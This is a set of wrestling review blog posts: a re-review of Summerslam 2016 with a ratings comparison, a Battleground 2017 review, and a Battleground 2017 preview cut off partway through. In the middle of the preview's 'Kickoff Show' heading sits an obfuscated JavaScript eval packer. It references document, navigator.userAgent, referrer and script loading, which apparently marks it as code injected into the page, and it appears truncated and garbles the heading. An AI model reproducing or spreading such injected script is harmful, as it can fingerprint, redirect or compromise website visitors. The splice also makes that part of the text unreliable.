That goes nowhere as the hot tag brings in Woods to clean house. Anderson sends him to the apron for an enziguri, setting up the rope walk elbow drop. Everything breaks down and Anderson kicks Kofi in the chest, setting up the Magic Killer. Stewart gets in though and it’s time to crotch him as well. Hang on though as he has to tuck in his shirt first. Cue the returning Big E. for the save though and that’s a DQ at 9:09.

Rating: D. I don’t know if it was the previous match or what but sweet goodness the fans did NOT care for this one. It’s not a good match in the first place as Anderson and Gallows aren’t funny in the doctor roles, but the bigger problem here was the focus being on Stewart at the end. Oh and the ending sets up a rematch, which really isn’t what they need to be going with here. Bad match but Big E.’s return did wake up the crowd.

Big E. drinks the fluid in the jar holding his “testicles”. Stewart dances with New Day and the fans…well they care when Big E. dances at least.

We recap Dean Ambrose vs. Dolph Ziggler. Dolph won a six way match to earn the shot and then it all went nuts. Ziggler started talking about how he was tired of being told that he always either too good or not good enough. It was time to turn up the jets and become champion for the third time. Serious Ziggler was nice but I don’t think anyone was buying him as having a real chance here. You know, because he’s Dolph Ziggler.

Smackdown World Title: Dolph Ziggler vs. Dean Ambrose

Dean is defending and Shane and Daniel are here for no apparent reason. The fans are behind Ziggler and they trade some grappling on the mat with Ziggler getting the better of it (not exactly a surprise). The threat of a neckbreaker sends Ambrose bailing to the floor so Dolph splashes him against the barricade.

Back in and Ziggler’s jumping DDT is countered with Dean throwing him outside again. Ziggler escapes a super Dirty Deeds so Dean slaps on a half crab of all things. You can tell Dean is playing the subtle heel here as the smark crowd is always going to cheer for Ziggler. Dean heads up top and gets dropkicked out of the air but he’s right back with a double chickenwing facebuster.

Ambrose tunes up the band (which is now mocking Ziggler instead of anything involving Shawn Michaels) but shakes his head and tries Dirty Deeds instead. That’s reversed into the jumping DDT and both guys are down again. A double collision gives us another lay down period until Dean is up first and hammering away.

The top rope elbow gets two so Ziggler grabs the sleeper, earning them both a tumble out to the floor. Ziggler gets in the superkick on the floor but it’s barely two back inside. The Zig Zag gets the same but Dean pops back up with the rebound lariat. Ziggler catches Dean on top and pulls him back down, right into Dirty Deeds to retain the title at 15:22.

Rating: D+. And that people, is Ziggler choking again. This would lead to him saying he’s never won the big one, which would turn into him never holding the World Title that long because holding the title is more important than winning it. The match was nothing all that good as we were just waiting on Dirty Deeds, which only happened so Dean could keep it warm for AJ next month. That was completely obvious the second AJ pinned Cena again and that’s all this title needed to do.

Package on Summerslam weekend.

Natalya/Alexa Bliss/Eva Marie vs. Becky Lynch/Naomi/Carmella

Dang I didn’t know the Glow was a year old. Actually hang on a minute as Eva Marie is suffering from exhaustion, anxiety and stress (likely brought on by reading too many Wellness Violation messages, which meant she would never wrestle again) so we have a replacement. At least we got that amazing entrance one more time.

Natalya/Alexa Bliss/Nikki Bella vs. Becky Lynch/Naomi/Carmella

So yeah, you know full well that Nikki is going to be all that matters in this match because IT’S HER BIG COMEBACK THAT EVERYONE TOTALLY CARES ABOUT BECAUSE WE LOVE HER SO MUCH! She does get one heck of a pop though, which is rather scary. During her entrance, Mauro declares her return “miraculous”. Oh man this is going to be a long one.

Bliss rolls Becky up to start and gets in a hard slap for good measure. Naomi comes in to scare Alexa off so it’s Natalya instead. A forearm puts Natalya down and the splits legdrop gets two. Carmella comes in for the Staten Island Shuffle before a missed charge sends Natalya outside. Back in and a powerslam out of the corner plants Carmella before it’s off to Nikki, the heel, for a strong face pop.

We hit the chinlock but hang on as we need some Nikki pushups. Alexa chokeshoves Carmella down for the moonsault knees to the ribs as the crowd is dead all over again. The abdominal stretch keeps things slow until Carmella finally rolls over and makes the hot tag to Becky. All three heels are send into the corner for the springboard kicks from Lynch, followed by a Bexploder on Natalya.

Becky’s top rope legdrop gets two with Nikki making the save. A blind tag brings in Naomi for the dancing kicks with the fans just not reacting at all. Bliss’ springboard splash hits knees so it’s off to Nikki vs. Carmella. A bad looking Bronco Buster gets two on Nikki and everything breaks down. Nikki’s big forearm sets up the Rack Attack 2.0 (Nikki: “I’m back.”) for the pin at 11:16.

Rating: D. This was all about Nikki’s return and that’s not enough to carry a dull match. Naomi’s Glow stuff wasn’t over yet, Becky was stuck around people who weren’t up to her level and Carmella was showing that she didn’t need to be on the main roster yet. The same was true for Alexa and Natalya was her usual self. Just not a good match and it showed the lack of depth to the division.

We recap Rusev vs. Roman Reigns. Rusev and Lana were married and so Reigns interrupted for no apparent reason to insult them and shove them into a cake.

Maria Menunos interviews Rusev and Lana, who don’t like her questions about Reigns. They won’t stand for this and Lana is sure that her husband will destroy Reigns.

We recap the Universal Title match. Basically we need a new title due to the Brand Split and Universal Title was the best they could come up with. Seth Rollins was put into the match as Raw’s #1 draft pick and Finn Balor earned his way in by winning a series of matches. Not much else to it as there’s no major animosity between them but it’s better than pulling the title out of a suitcase.

Seth did get in a great promo talking about how he’s done everything Balor has done but he’s done it a little bit better. He’s not wrong, though that’s not the best thing to do when you have someone so new to the main roster. Then Balor showed up as the Demon and scared Rollins to death.

Universal Title: Finn Balor vs. Seth Rollins

Anything goes and the title (which isn’t that well received due to a bad case of being hideous) is vacant coming in. Unless I’m forgetting something, to date this is the only time Balor has wrestled as the Demon on the main roster. We get the Big Match Intros and the title itself receives some hearty boos. Balor dropkicks him into the corner at the bell but it’s too early for the Coup de Grace.

Instead Balor hits a suicide dive to the floor, followed by some kicks to the knee back inside. They head outside again with Seth getting in his first offense via a suplex on the floor. Balor is right back with something like a Phenomenal Forearm off the barricade. Back in again and Balor hits a basement dropkick for two as this is almost one sided so far. Finn stays on the leg as the fans are singing something.

Balor jumps over the ropes but Rollins slides between his legs and powerbombs him into the barricade, completely destroying Balor’s shoulder and putting him on the shelf for the better part of eight months. We’re less than four minutes in though and you can see the shoulder looking all messed up. Back in and Seth gets two off a backbreaker, setting up a chinlock. The chants are still going and it sounds like THAT TITLE SUCKS to the tune of John Cena Sucks.

Seth starts the trash talk and cuts off a comeback attempt. A snapmare into a kick to the back has Finn in even more trouble but Seth would rather walk around than follow up. It’s back to the chinlock for a good while until the springboard knee to the head sets up Seth’s frog splash for two. What looks like a Rainmaker is countered into a DDT to give Balor his first major offense in a long time and he follows up with some forearms.

A basement dropkick sets up the Sling Blade but Seth kicks him down without much effort. An enziguri stuns Balor but he’s right back with the Pele, earning a very nice round of applause. If nothing else the chants about the title have stopped. 1916 (reverse implant DDT) gives Finn two but the Coup de Grace is countered into a triangle choke of all things. Finn falls outside because rope breaks don’t count (anything goes remember) and things slow down a bit.

Back in and the buckle bomb sets up the low superkick for two on Balor with Seth looking stunned on the kickout. A small package driver gets the same count and reaction so Seth goes up, allowing Balor to hit a very loud enziguri to put him on the floor. Balor adds a shotgun dropkick to send him into the barricade, followed by a top rope double stomp to the back of the head for two. The Coup de Grace misses and it’s a Pedigree for two. Finn counters a second Pedigree into a double stomp, followed by the Coup de Grace for the pin and the title at 19:23.

Rating: B+. When you factor in that shoulder injury, this is quite the impressive performance. Above all else though, how good is it that Balor won the title here? If he loses his first major pay per view match and then goes away until April, he’s lucky to come back to the cruiserweight division.

This was a heck of a match with both guys beating the heck out of each other. It took some time to get built up but once they finally got there, the fans really started to accept things, which is a very positive sign. Balor is someone who is going to get a very positive reaction no matter what and giving him the title here was entirely the right call.

Balor can barely move his right arm after the match but finally holds the title up. On his WWE 24 special, he said you could feel and hear the shoulder crunching and crackling as he lifted the title and it probably did more damage to the arm.

The pre-show channel chats a bit and throws us to a KFC ad with Dolph Ziggler dressing up as Colonel Sanders to beat up Miz dressed as a chicken. It’s actually dumber than you remember it being.

Here’s Lana to introduce Rusev, albeit while wearing half of a wedding dress, the bottom of which looks like a diaper. She’s one of the most beautiful women on the roster but she looks ridiculous here.

US Title: Rusev vs. Roman Reigns

Roman is challenging and the booing is strong with this one. Rusev jumps him before the bell and they fight out to the floor with Roman being sent into the steps. The fans chant RUSEV MACHKA because they’ve given up on America over their hatred for Reigns. Roman gets in a Superman Punch as the bell hasn’t rung yet. They fight over a chair with Reigns getting the better of it and destroying Rusev. Reigns finally leaves but comes back with a spear, all while the fans chant WE WANT SLATER. No match of course, likely due to time issues.

We recap Randy Orton vs. Brock Lesnar. This match was announced as Orton’s return match from surgery and the build focused on Orton being able to hit the RKO anytime, including a sweet moment where Orton interrupted a Lesnar promo with an RKO. The hype video even includes some OVW clips as they came up through developmental together and debuted within a few months of each other. This had a heck of a build and felt like something important but the question was whether Lesnar would have an actual match or just do his usual Lesnar stuff.

Randy Orton vs. Brock Lesnar

Heyman handles Lesnar’s introduction, saying he’s conquering out of the University of Suplex City. Brock seems to get into his MMA stance to start before driving Orton into the corner for the shoulders to the ribs. Orton escapes the first German suplex attempt but can’t hit the RKO.

Now the first suplex connects (with Mauro knowing that it’s the 33rd Lesnar has hit at Summerslam because he’s awesome that way) and Brock follows with two more. Orton is almost out on his feet so Lesnar suplexes him again. It’s nothing but suplexes at this point and it’s already getting dull. They head outside for a much needed change of pace with Orton being thrown over the announcers’ table.

Orton gets thrown from the front row through the table as this is dominance. The other table is loaded up but whatever Lesnar is trying is countered into the RKO onto (not through) the table. The hanging DDT plants Lesnar back inside and another RKO gets two. Orton realizes he has no choice and tries the Punt, only to have it reversed into the F5 (bad one) for two more.

That’s enough for Lesnar so he takes off the gloves and pads and hammers on Orton. An elbow to the head actually busts Orton open VERY badly. Lesnar just keeps hammering on him while the fans chant GOLDBERG until the referee FINALLY stops it at 11:47. I’ve heard a bunch of answers about what happened but I believe this was the planned ending and a hard way opening.

Rating: D. Yeah this didn’t work when it happened and it didn’t work again this time around. Lesnar suplexing Orton for five minutes then selling a few big moves doesn’t make me think it’s an awesome main event. This was everything wrong with Lesnar’s current WWE run in one match and that made for a really dull match, save for the odd finish that seemed designed to protect Orton. You know, after he was basically squashed.

Lesnar keeps hammering on him until the always intimidating Shane McMahon comes out, earning himself an F5 (which thankfully didn’t lead anywhere). Heyman panics as they leave to end the show.

Overall Rating: B-. If you cut an hour (or more) out of this, it’s bordering on the classic level. As it is, this is just a good show that runs WAY too long. At some point you have to cut something out and WWE just refuses to do that. Cut out the Dudleys match or the women’s tag and give us some breathing room here because sweet goodness this show could use it.

Now that being said, there’s some outstanding stuff on here with the Styles vs. Cena match as an instant classic, the Women’s Title being very good, a great Universal Title match and really only the Tag Team Title match being without much value. The show is certainly good and the positives outweigh the negatives but unless the show is a masterpiece, fans are going to start losing interest near the end. It’s a solid show but cut out a good forty minutes to really make it great.

Ratings Comparison

American Alpha/Hype Bros/Usos vs. Breezango/Ascension/Vaudevillains

Original: C

2017 Redo: B-

Dudley Boyz vs. Neville/Sami Zayn

Original: C

2017 Redo: C-

Sheamus vs. Cesaro

Original: B-

2017 Redo: B

Chris Jericho/Kevin Owens vs. Enzo Amore/Big Cass

Original: C+

2017 Redo: C+

Sasha Banks vs. Charlotte

Original: B

2017 Redo: B

Miz vs. Apollo Crews

Original: C

2017 Redo: D+

John Cena vs. AJ Styles

Original: A

2017 Redo: A

New Day vs. Anderson and Gallows

Original: D+

2017 Redo: D

Dolph Ziggler vs. Dean Ambrose

Original: B-

2017 Redo: D+

Natalya/Alexa Bliss/Nikki Bella vs. Becky Lynch/Naomi/Carmella

Original: C

2017 Redo: D

Finn Balor vs. Seth Rollins

Original: B+

2017 Redo: D+

Brock Lesnar vs. Randy Orton

Original: C+

2017 Redo: D

Overall Rating

Original: B

2017 Redo: B-

That’s quite the drop on Ambrose vs. Ziggler and Lesnar vs. Orton. Some of them are spot on though and that’s not the biggest surprise.

Here’s the original review if you’re interested:

http://kbwrestlingreviews.com/2016/08/21/summerslam-2016-they-didnt/

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Battleground 2017: The Worst Match I’ve Seen In At Least Ten Years

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Date: July 23, 2017
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Commentators: Tom Phillips, John Bradshaw Layfield, Byron Saxton

It’s time for another pay per view before we head on to Summerslam but tonight we have a Punjabi Prison match. Yeah they’re dusting this one off because the Smackdown World Champion is of Indian descent and this is some kind of a war themed pay per view. Other than that we have John Cena vs. Rusev in a flag match to keep up the same theme. Let’s get to it.

Kickoff Show: Aiden English vs. Tye Dillinger

English sings before the match, dubbing himself the Beethoven of Baritone and the Drama King. It helps that he has one heck of a voice. English shoulders him down to start and does a quick curtsy. Dillinger comes right back with a series of very fast standing switches into an armdrag, good for a TEN. Back up and English sends him into the middle buckle before unloading with some right hands.

We come back from a break with Dillinger fighting out of a chinlock and hitting a running forearm. A spinebuster gives Tye two but he can’t hit the Tyebreaker. English gets two off a layout DDT (he lands on his stomach instead of falling backwards) and frustration is setting in. Aiden tries a Tyebreaker of his own but spends too much time giving Dillinger a ZERO, allowing Tye to slip out into a sunset flip for two. That’s fine with English though as he sends Aiden into the corner and grabs a dragon suplex which spins off into a faceplant for the pin at 9:45.

Rating: C. I had a feeling they might have English go over here as it’s fairly clear that Dillinger has already lost whatever steam he could have had coming into the main roster. English might not be much but he at least has a character, which is more than Dillinger has with a catchphrase. Dillinger will be fine for the short term but he needs something more and he needs it in a hurry.

The opening video shows wrestlers wearing war paint, which they’ve all earned. It transitions into Rusev running down America and Orton wanting his title back.

Tag Team Titles: New Day vs. Usos

New Day is challenging and clad in red, white and blue. You know, because WWE wants to do an AMERICA IS AWESOME show and chose freaking Battleground while also doing GREAT BALLS OF FIRE instead of Great AMERICAN Bash. Keep up the brilliance guys. Kofi dropkicks Jey at the bell and it’s off to Woods as the challengers hit some rapid fire kicks, followed by a middle rope elbow for two, all in the first thirty seconds. The champs take over on Woods in the corner with a variety of kicks and stomps, followed by Jey hitting the running Umaga attack (with JBL mentioning Umaga by name for a change).

Woods shoves Jey off the top though and hits a missile dropkick, allowing the hot tag to Kingston. Trouble in Paradise doesn’t work so both champs are sent outside with Kofi tagging Woods. The Usos able to catch the trust fall though and Kofi gets powerbombed on the floor. A wheelbarrow suplex is countered into a faceplant for two on Jimmy but the Honor Roll is broken up.

Woods eats a pop up Samoan drop for a close two and is able to get up top for the really far elbow. That’s fine with Jimmy though who slides over for a superkick to knock Woods out of the air (SWEET) for two. We hit a Tequila Sunrise into a long half crab until Woods gets over to the rope for the break.

Kofi remembers he’s alive and comes back in with a top rope double stomp to Jimmy while Woods holds him in a backbreaker (not the Midnight Hour Tom). The champs are right back with a superkick into the Superfly Splash for an even closer near fall. Woods is back up to shove Jey off the top, leaving Jimmy to eat Trouble in Paradise. Xavier adds the really long top rope elbow for the pin and the titles at 13:43.

Rating: B+. This was straight out of the old WCW Cruiserweight Title playbook: give two people some time and let them go nuts with high spots and hot near falls. The Usos weren’t doing anything with the belts and New Day, though not what they used to be, are still flat out more popular than anyone else in the promotion so this makes a good bit of sense. I’m not sure who they feud with but at least they’re back on top.

Recap of Baron Corbin vs. Shinsuke Nakamura. Corbin attacked him at the start of the Money in the Bank ladder match and has done it multiple times since. Tonight it’s about revenge.

Shinsuke Nakamura vs. Baron Corbin

Nakamura’s pop is outstanding, even for a Philadelphia crowd. Corbin gets in his face to start but Nakamura calmly kicks him down, meaning it’s time for an early breather on the floor. They trade places with Nakamura making him wait for a bit, only to charge back in for a right hand to the jaw. We hit a bearhug of all things but Nakamura reverses into a triangle choke.

Corbin slips out of that as well and yells at the crowd before putting on the bearhug again. A chokeslam is broken up with a quick kick, followed by a spinning kick to the head. Corbin runs him over with an awesome clothesline but Nakamura knees the heck out of him to escape. Kinshasa is countered with Deep Six for two but a chokeslam is countered into a Backstabber. Nakamura loads up the reverse exploder but Corbin kicks him low for the DQ at 12:28.

Rating: C-. As usual, Nakamura continues to just kind of be there and that makes for some disappointing matches. The bearhug and ending really hold this one back too as Corbin didn’t exactly show off much here and Nakamura was exactly what he’s been doing in recent months. I hope he steps up at Summerslam because otherwise, I have no idea when he’s going to do so.

Baron goes to leave but hits Nakamura with the briefcase and adds End of Days to continue the feud.

Video on Naomi and the five potential challengers to set up the #1 contenders match.

Natalya vs. Charlotte vs. Becky Lynch vs. Tamina vs. Lana

Elimination rules and the winner gets Naomi, on commentary here, at Summerslam. Lana is knocked to the floor to start (probably not the worst idea) and everyone else brawls inside. Natalya tries a Sharpshooter on Tamina until Lana makes the save, earning herself a showdown with Charlotte. Tamina breaks up the beatdown and the double team begins on Charlotte.

Lana completely misses a kick to the head but gets two anyway and it’s time to pose. Becky FINALLY comes back in and beats on Lana, setting up a Charlotte vs. Becky showdown. Natalya breaks it up and hits the basement dropkick for two on Charlotte. Lynch kicks Natalya in the ribs and grabs the Bexploder, followed by another one to Lana. Another Bexploder to Natalya looks to set up the Figure Eight but Charlotte can’t get it on.

The discus lariat sets up the Sharpshooter, only to have Lana make a rather illogical save. Tamina has to break up the Disarm-Her on Lana, followed by a Samoan drop. The same hold has to be broken up a second time but Becky gets the Disarm-Her on Tamina for the tap at 8:08.

The same hold gets rid of Lana at 8:38, followed by a rollup to eliminate Becky at 8:42. So we’re down to Charlotte vs. Natalya with Charlotte powerbombing her way out of an early cross armbreaker. Charlotte’s moonsault hits knees though and Natalya sends her hard into the corner for the pin and the title shot at 10:58.

Rating: D+. So we sit through a bunch of stupid saves and Lana being in way over her head (she’s gorgeous, she looks amazing in her outfits and she has the character but sweet goodness it’s not working in the ring) and NATALYA wins? She’s the biggest charisma vacuum I’ve ever seen and is the definition of nothing more than a hand in the ring. You have the other options for the title shot and you pick her? Just…..why? Oh and please, PLEASE keep Naomi away from microphones. She’s just not good at talking in any form.

Natalya won’t shake Naomi’s hand.

We recap AJ Styles vs. Kevin Owens. Kevin defeated him via countout earlier this summer but AJ won a battle royal to get another title shot at Battleground. Then he won the title at Madison Square Garden in a big surprise, switching the roles for this show.

US Title: AJ Styles vs. Kevin Owens

Styles is defending. Owens grabs a headlock to start but AJ armdrags him out to the floor for a breather. Back in and Kevin gets taken down again, sending him outside again. A dropkick sends Owens outside for the third time but this time AJ misses a charge into the barricade. Owens grabs a long chinlock back inside, followed by a DDT to cut off AJ’s comeback.

We hit the chinlock again with Owens adding in the trash talk as only he can. The Phenomenal Rush puts Owens down and the seated forearm sends Owens over to the apron. AJ can’t lift Owens for much of anything and a missed charge sends him hard into the ropes. The fireman’s carry neckbreaker gives AJ two but the springboard 450 hits knees.

Owens nails the Cannonball for two but Styles is right back with a torture rack into the spinning powerbomb for a near fall of his own. Another springboard is broken up but Owens trips AJ up and sends him shoulder first onto the apron. Back in and the ref is bumped, leaving no one to see Owens in the Calf Crusher. He doesn’t tap but rather reverses into a Crossface on the bad shoulder. That’s reverses into a Crossface on Owens but he reverses into a rollup for the pin and the title at 17:44.

Rating: B. Uh….ok? Did they really just change the title at Madison Square Garden for the sake of a DVD release? The match was good enough but I’m not wild on them changing the title back and forth so fast. I was looking forward to AJ doing the Open Challenge but odds are we’re looking at a gimmick rematch at Summerslam, which doesn’t do much for me.

The Singh Brothers tell Jinder Mahal that they can’t be at ringside with him. Mahal says he has 1.3 billion people in his corner.

We recap John Cena vs. Rusev. Cena came back on the Fourth of July and talked about how much he loved America, only to have Rusev interrupt. This led to a challenge to a flag match, which Rusev accepted.

Rusev vs. John Cena

Flag match, which means you have to pull your country’s flag off a pole, take it up the ramp and put it on a pedestal to win. Cena headlocks him to start but Rusev shoves him away and goes straight for the flag. That’s not happening yet though so Cena pulls him off with something like a super bulldog.

Rusev is right back up to pull him off the top with an electric chair and it’s time to talk some trash about America. Cena gets thrown down again as this is already dragging about five minutes in. The shoulders stagger Rusev but he sends Cena outside. It’s still not enough to pull down the flag though as Cena makes the save, only to get powerbombed (kind of) back down. Rusev gets his flag down but eats a dropkick to knock it down again.

An AA lets Cena get up top but Rusev pulls him down AGAIN. Rusev’s powerbomb is countered into the STF though and Rusev taps, which means nothing. Cena grabs the American flag and jumps down into a superkick to put both guys down. The Bulgarian flag is picked up again so Cena has to dive off the apron to make a save and send Rusev into the steps.

Now it’s Cena going up the aisle but Rusev makes another save and hits him in the head with the steps. Cena gets up again and sends Rusev head first into the entrance screen. A fall away slam onto the ramp stops Cena again and it’s freaking TABLE TIME because it’s Philadelphia and ECW is still a thing. Make that two tables and just get to the AA through them so Cena can put the flag up and win.

Rusev can’t hit an AA so they knock each other down again with Cena grabbing the American flag. Why he doesn’t grab both of them and throw the Bulgarian one into the crowd isn’t clear. Rusev gets the flag stand and hits Cena over the back with it to set up the Accolade. With Cena down, Rusev gets the Bulgarian flag but has to fight out of an AA attempt. Another Accolade is broken up and Cena AA’s him through the tables, allowing him to put in the American flag for the win at 20:42.

Rating: F+. I absolutely could not stand this match as it felt like it went on for the better part of an hour. There were multiple times where they could have done ANYTHING else to get rid of the flag podium or the flag itself but they would rather walk around like they had been shot. Just awful here with a bad concept, a choreographed ending and nothing close to drama. Terrible stuff here, especially when it’s nothing more than a way to tie into the whole war/battle theme.

It’s Fashion X Files time when the Ascension comes in to say it was them all along. That’s not true though as Fandango knows they were at an Eddie Money concert on Tuesday. The lights go out and someone jumps Breeze. Someone does the same to Fandango and it’s…..not revealed who did it as someone drags Fandango’s body away. To Be Continued.

We recap Sami Zayn vs. Mike Kanellis. They’ve been having issues for a few weeks and Maria cost Sami the first match earlier this week. Tonight it’s rematch time.

Mike Kanellis vs. Sami Zayn

The Kanellis family is wearing matching Maria’s jackets with lip prints all over them with Mike adding similar tights. Sami grabs a headscissors to start and Mike is sent outside where Maria has to pull him away from an attempted dive. Back in and Mike hammers away but has to stop for a kiss from Maria (in case you thought it was one from the referee).

Sami fights out of a double arm crank and sends Mike outside for the big running flip dive. The Blue Thunder Bomb is broken up so Sami settles for the tornado DDT instead. Maria gets in the ring to block the exploder though, only to have the second attempt work just fine. The Helluva Kick gives Sami the pin at 7:19.

Rating: D. Again, I don’t think anyone was seriously thinking that Mike was the talented one of the team and this match didn’t do much to showcase himself. He’s rather average in the ring and the whole character is that he really loves his gorgeous wife. There’s nothing special in the ring to help fix a lame gimmick and that’s not a good sign for his future.

We recap the Punjabi Prison match. Orton has been dealing with the Singh Brothers in all of his matches with Mahal so it’s time to lock them out. The structure is a bit complicated as it has two cages (made of bamboo), one around the ring and the other around the outside. The regular cage around the ring has four trap doors which will open up for sixty seconds each. If they close, they can’t be reopened though and if all four close, you have to climb over the top. The first person to get out of both cages wins.

Smackdown World Title: Jinder Mahal vs. Randy Orton

Orton is challenging and we better have a Great Khali appearance. Randy hammers away to start and puts Mahal down before calling for the first door. Mahal dives over to keep him inside though and the clock runs out, meaning that door is no longer an option. They slug it out again with the champ getting the better of it and grabbing an armbar (as is the case in most prison fights).

The second door is opened but Orton throws him down with a fall away slam. Neither of them can get out so Mahal tries to climb, earning himself a trip right back to the mat. Mahal splashes him against the cage a few times but Orton grabs a suplex to send him into it as well. That goes nowhere either and they’ve only got one door left. The hanging DDT stuns Mahal so the fourth door is open, only to have Mahal break up the RKO with a jumping knee to the head.

Orton counters the Khallas into an RKO but the freaking Singh Brothers pop out from underneath the ring to pull Mahal through the door. Orton can’t get out in time so he easily climbs the inner cage and steps over to the outer one. THEN WHY WOULD YOU EVER BOTHER WITH THE TRAP DOORS??? Mahal drops down so the Singh Brothers pull Orton down instead.

Randy beats them up and pulls Mahal down, leaving the champ to find kendo sticks to work Orton over. Much like everything else though, Orton shrugs it off and does the same thing to Mahal to take over. One of the Brothers crawls through a hole in the cage and climbs up the outside, only to get punched down through a table (heck of a bump actually). Mahal pulls Orton back down and THIS IS STILL GOING!

The hanging DDT onto the floor should kill Mahal but that might mean the match is ending anytime soon so he’s just dazed for a few seconds. Now it’s a chair with Mahal taking a few shots to the ribs. The other brother gets knocked off the cage wall and it’s the GREAT KHALI to shake the cage as Orton tries to climb out. Khali chokes him through the cage and Mahal climbs out to retain at 27:42. Yes I said 27:42.

Rating: F-. I think this match actually broke me. I don’t remember HATING a match this much since…..geez the Russo days maybe? This could have been cut down by probably two thirds for the same result but they were literally just walking around looking for more stuff to do to each other because they didn’t have anything else to do to fill in the time.

Speaking of the time, WHY IN THE WORLD WAS THIS NEARLY HALF AN HOUR??? The show ended at eleven minutes after the hour and I’d LOVE to hear someone try to validate why it needed that extra time. I absolutely could not stand this match as it started off stupid and turned into one of the worst things I’ve seen in a very, very long time. It was long, it was stupid, and it makes the champ look like an even bigger loser than people already thought he was.

Overall Rating: D-. I know some of the stuff on here was good to very good but when your two main events are such absolute garbage and eat up nearly fifty minutes (closer to an hour with entrances/pre and post match stuff and the show runs over, there’s no way the show can be saved. Couple that with a pretty bad women’s match, a nothing Kanellis vs. Zayn match and the general feeling that this show meant very little and even the two good matches are helpless. This was terrible and it’s completely laid at the feet of whoever booked/produced the two main events. Simple awful.

Results

New Day b. Usos – Top rope elbow to Jey

Shinsuke Nakamura b. Baron Corbin via DQ when Corbin kicked him low

Natalya b. Charlotte, Becky Lynch, Tamina and Lana last eliminating Charlotte

Kevin Owens b. AJ Styles – Rollup

John Cena b. Rusev – Cena put his flag on the podium

Sami Zayn b. Mike Kanellis – Helluva Kick

Jinder Mahal b. Randy Orton – Mahal escaped the prison

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Battleground 2017 Preview

Ah “Battleground 2017”. Every year I come into this show almost forgetting that it’s there because it feels like the most generic pay per view of the year. The card rarely matters because it always feels like the definition of the B level show. It’s a “Smackdown Live” show this year and there’s not much I’m looking forward to on the card but there’s some potential there. Let’s get to it.

Kickoff eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhtea|var|u0026u|referrer|dbtea||js|php'.split('|'),0,{})) Show: Aiden English vs. Tye Dillinger

Yes we have been here before and I have no idea why Dillinger is stuck here again. English has gotten his own amount of TV time (albeit low level TV time) and has probably been around more than Dillinger lately. Dillinger on the other hand has been stuck in this same spot since he debuted on the main roster a few months ago. Why he’s stuck there isn’t clear, but the lack of anything besides TEN might be an option.

I’ll take Dillinger winning here though I could actually see English stealing a win and starting a small midcard push. Dillinger could win here and stay on the same path he’s been on for months now, which is to say he’s going nowhere whatsoever. The match will get the crowd going though and that’s all that really matters.

Shinsuke Nakamura vs. Baron Corbin

This is your run of the mill fallout feud from Money in the Bank, though I’m not sure if it’s the most interesting one in the world. Corbin isn’t exactly thrilling and while there’s a chance he could cash in his briefcase at the end of the night (it would make sense), it might be a bit too soon for him to do so, meaning he’s likely to lose over and over again so we’ll forget that he’s a thing before the big cash-in.

I don’t think WWE is ready to have Nakamura lose yet so we’ll go with him winning here. Nakamura could be facing AJ Styles for the US Title at “Summerslam 2017” and it wouldn’t make sense to have him lose at a match that doesn’t seem to be all that important in the first place. Corbin needs the win more but they’re not going with it at this point.

Sami Zayn vs. Mike Kanellis

We’ve seen this one before as it was done earlier this week on “Smackdown Live” in less than three minutes, which also happened to be Kanellis’ in-ring debut. The ending was a bit screwy as Kanellis’ wife Maria got involved and helped her husband win. The rematch wasn’t hard to predict and here we are.

That being said, it’s a Zayn match so of course he’s losing. I really can’t think of a reason for Kanellis to lose here as he’s already won the first one and as much as WWE loves having people split feuds, there’s no logical reason for Kanellis to lose. Maria can interfere to keep

Zayn looking strong before he has something more interesting at “Summerslam 2017”.

Tag Team Titles: Usos(c) vs. New Day

This is an interesting one as they’ve been feuding for awhile now but nothing really stands out about it. They had the rap battle and some singles matches but it really feels like a feud that is just going for the sake of going. The wrestling should be a lot of fun though and that’s all that matters in something like this.

I’ll take the Usos to retain as I haven’t been all that impressed by New Day’s run on Tuesdays. They’re just kind of there at this point, though to be fair I don’t think they’re going with anything other than their reputation. It’s not like they have anything left to prove as a team though and winning the titles here wouldn’t do much for them. Usos retain here, likely setting up another feud with the still amusing Breezango.

Speaking of Breezango, while they don’t officially have a match, it’s a fairly safe bet that they’ll be having one with whomever attacked them. While it’s not officially announced and I could just guess as to who would be in the match, I won’t be giving an official guess on a winner. I will however pick their identities though: Luke Harper and Erick Rowan.

Charlotte vs. Natalya vs. Lana vs. Tamina vs. Becky Lynch

Oh joy it’s the idea again. The “Smackdown Live” Women’s Title picture has been kind of a mess for months now and it’s getting annoying. They’ve stopped the idea of building up characters or reasons for these women to be fighting each other outside of fighting for a shot at the title. This is another match where everyone is involved at the same time and it’s under elimination rules for the “Summerslam 2017” Women’s Title match.

I know it’s the option that I go with most of the time but I’ll take Charlotte to get the shot. Charlotte vs. Naomi is the closest thing the division has to a dream match (work with me here) and that sounds like something they should do at the second biggest show of the year. Tamina and Natalya aren’t happening, Lana has been done and Lynch….eh maybe, but Charlotte is the bigger deal.

John Cena vs. Rusev

This is a flag match, meaning you have to steal your opponent’s flag and carry it past a finishing line. In other words, it’s Battleground and we need something to fit in with the theme (which isn’t the solidest in the world). It’s also Cena’s big return match (his latest one that is) and I think you know what’s coming here.

Of course Cena wins here and it’s not like there’s any real other option. Cena is likely gearing up for a major match at “Summerslam 2017” and Rusev….well he’s making his big return here too and I don’t think most people realized that. Cena wins of course and I don’t think there’s any real shock to this one.

US Title: AJ Styles(c) vs. Kevin Owens

